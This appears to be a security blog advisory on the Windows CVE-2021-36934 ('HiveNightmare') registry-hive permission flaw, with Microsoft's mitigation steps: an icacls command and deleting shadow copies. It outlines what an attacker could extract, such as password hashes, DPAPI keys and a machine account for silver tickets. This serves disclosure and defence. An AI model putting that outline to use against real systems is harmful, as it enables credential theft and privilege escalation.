On Tuesday, July 20, Microsoft issued an out-of-band advisory for this vulnerability, which is now tracked as CVE-2021-36934. As of July 21, 2021, the vulnerability has been confirmed to affect Windows 10 version 1809 and later. A public proof-of-concept is available that allows non-admin users to retrieve all registry hives. Researcher Kevin Beaumont has also released a demo that confirms CVE-2021-36934 can be used to achieve remote code execution as SYSTEM on vulnerable targets (in addition to privilege escalation). The security community has christened this vulnerability “HiveNightmare” and “SeriousSAM.”

CERT/CC published in-depth vulnerability notes on CVE-2021-36934, which we highly recommend reading. Their analysis reveals that starting with Windows 10 build 1809, the BUILTIN\Users group is given RX permissions to files in the %windir%\system32\config directory. If a VSS shadow copy of the system drive is available, a non-privileged user may leverage access to these files to:

  • Extract and leverage account password hashes.
  • Discover the original Windows installation password.
  • Obtain DPAPI computer keys, which can be used to decrypt all computer private keys.
  • Obtain a computer machine account, which can be used in a silver ticket attack.

There is no patch for CVE-2021-36934 as of July 21, 2021. Microsoft has released workarounds for Windows 10 and 11 customers that mitigate the risk of immediate exploitation—we have reproduced these workarounds in the Mitigation Guidance section below. Please note that Windows customers must BOTH restrict access and delete shadow copies to prevent exploitation of CVE-2021-36934. We recommend applying the workarounds on an emergency basis.

Mitigation Guidance

1. Restrict access to the contents of %windir%\system32\config:

  • Open Command Prompt or Windows PowerShell as an administrator.
  • Run this command:
icacls %windir%\system32\config\*.* /inheritance:e

2. Delete Volume Shadow Copy Service (VSS) shadow copies:

  • Delete any System Restore points and Shadow volumes that existed prior to restricting access to %windir%\system32\config.
  • Create a new System Restore point if desired.

Windows 10 and 11 users must apply both workarounds to mitigate the risk of exploitation. Microsoft has noted that deleting shadow copies may impact restore operations, including the ability to restore data with third-party backup applications.

This story is developing quickly. We will update this blog with new information as it becomes available.

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